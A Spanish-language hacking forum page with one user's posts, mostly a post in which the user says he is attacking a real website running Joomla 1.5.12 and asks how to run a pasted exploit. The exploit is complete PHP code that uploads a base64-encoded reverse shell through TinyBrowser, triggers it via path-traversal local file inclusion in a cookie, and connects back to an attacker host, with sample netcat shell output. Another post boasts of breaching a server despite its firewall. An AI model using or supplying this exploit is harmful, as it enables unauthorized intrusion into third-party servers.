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1  Seguridad Informática / Hacking / Penetrando un servidor en: 8 Agosto 2016, 04:32 am
Hola chicos !! 

Como programador PHP   me gusta  comprobar si mis colegas cumplen con las normas basicas  de seguridad.

hoy pongo un ejemplo de una mala programacion. Hace un año les avise a los encargados del IT de este error pero no supieron como resolverlo, su solucion  fue poner un WAF
pero como todos podran ver , no sirve de nada .
https://openload.co/f/ZI6ZVaq1LG4/Default_Project.mp4
2  Foros Generales / Foro Libre / Inventor de Captcha y ReCaptcha es Guatemalteco en: 24 Noviembre 2011, 07:04 am
hace unos dias  vi en el programa CALA, de CNN en español, la entrevista a Luis Von Ahn el inventor del captcha y recaptcha .
sin duda un orgullo para los informaticos hispanohablantes  ;-)
3  Seguridad Informática / Hacking / Pregunta sobre exploit joomla 1.5.12 en: 16 Noviembre 2011, 07:04 am
Hola a todos,
estoy incursionando en esto del hacking y mis limitados conocimientos se han visto sobrepasados por un problema.

estoy atacando un sitio web el cual he llegado a la conclusion que tiene  : joomla  1.5.12 pues hice un scan con joomscan desde backtrack 5 y las vulnerabilidades encontradas son hasta dicha version.  la vulnerabilidad que intento explotar es :
#
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities
Versions effected: Joomla! 1.5.12
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes

baje un exploit en PHP  pero nose como lanzarlo o explotarlo . y esa es precisamente mi pregunta ¿como utilizo el exploit y aprovecho la vulnerabilidad?

dejo el exploit aqui :
Código:
# Title: Joomla 1.5.12 connect back exploit 
# EDB-ID: 11262
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Nikola Petrov
# Published: 2010-01-26
# Verified: no
# Download Exploit Code
# Download N/A
#!/usr/bin/php
<?php
/*
    Copyright (c) ITIX LTD
 
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
 
    TITLE:      Joomla 1.5.12 connect back exploit
    AUTHOR:     Nikola Petrov (vp.nikola@gmail.com)
    VERSION:    1.0
    LICENSE:    GNU General Public License
 
    Platform: Joomla 1.5.12
    Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
    Date: 27.08.2009
 
    Joomla 1.5.12 suffers from different kinds of vulnerabilities:
        - path disclosure
        - unauthorized file upload
        - local file inclusion
   
    I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
    that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
    but these are enough to get a connection back from the server.
 
    Path disclosure: joomla/libraries/joomla/client/ldap.php
    Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
    Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php
 
    Here is the LFI vulnerability:
    -- snip-snip: folders.php --
    <?php
        require_once('config_tinybrowser.php');
        // Set language
 
        if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
            require_once('langs/'.$tinybrowser['language'].'.php'); 
        }
        else {
            require_once('langs/en.php'); // Falls back to English
        }
        ...
    -- snip-snip --
 
    [wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php % 80 / % 9090
 
    [+] web root: /var/www/html
    [+] tinybrowser secret: s0merand0mjunk!!!111
    [+] Shell successfully uploaded.
    [+] Executing shell...
    [wadmin@M01 1.5.12]$
 
    [wadmin@M01 /]$ nc -vvv -l 9090
    Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
    id && uname -a
    uid=48(apache) gid=48(apache) groups=48(apache)
    Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
    exit
    [wadmin@M01 /]$ 
*/
 
    if($argc < 6) {
        print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
        print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
        print "\texample: jtiny-1-5-12.php % 80 / % 9090\n\n";
        exit();
    }
 
    $RemoteHost = $argv[1];
    $RemotePort = $argv[2];
    $RemotePath = $argv[3];
    $LocalAddress   = $argv[4];
    $LocalPort  = $argv[5];
 
    if($argc == 7) $RemoteDocRoot = $argv[6];
    else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);
 
    if($argc == 8) $Secret = $argv[7]; 
    else $Secret = "s0merand0mjunk!!!111";
 
    print "[+] web root: $RemoteDocRoot\n";
    print "[+] tinybrowser secret: $Secret\n";
 
    $Shell = 
        "PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
        "cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
        "QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
        "dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
        "bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
        "cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
        "c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
        "YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
        "KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
        "CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
        "aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
        "JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
        "ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
        "KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
        "UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
        "aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
        "ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
        "KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
        "KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
        "TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";
 
    $File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
    fwrite($File, base64_decode($Shell));
    fclose($File);
 
    #print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
    if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
        print "[-] Cannot upload shell.\n\n";
        unlink("_shell");
        exit(); 
    }
    else print "[+] Shell successfully uploaded.\n";
    unlink("_shell");
 
    print "[+] Executing shell...\n";
    shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);
 
    function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
        $Client = curl_init();
 
        curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
 
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
            exit();
        }
 
 
        curl_close($Client);
 
        $Step1 = strpos($Response, "not found in <b>") + 16;
        $Step2 = strpos($Response, "/libraries/joomla/");
 
        if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
        else return substr($Response, $Step1, $Step2 - $Step1); 
    }
 
    function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
        $Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");
 
        curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);
 
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] uploadFile() recieved http code $HttpCode.\n";
            exit();
        }
 
        curl_close($Client);
 
        return strpos($Response, "File Upload Success");
    }
 
    function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
        $Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";
 
        $VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";
 
 
        $Client = curl_init();
 
        curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
        curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");
 
        $Response = curl_exec($Client);
        curl_close($Client);
 
        print $Response;
    }
?>
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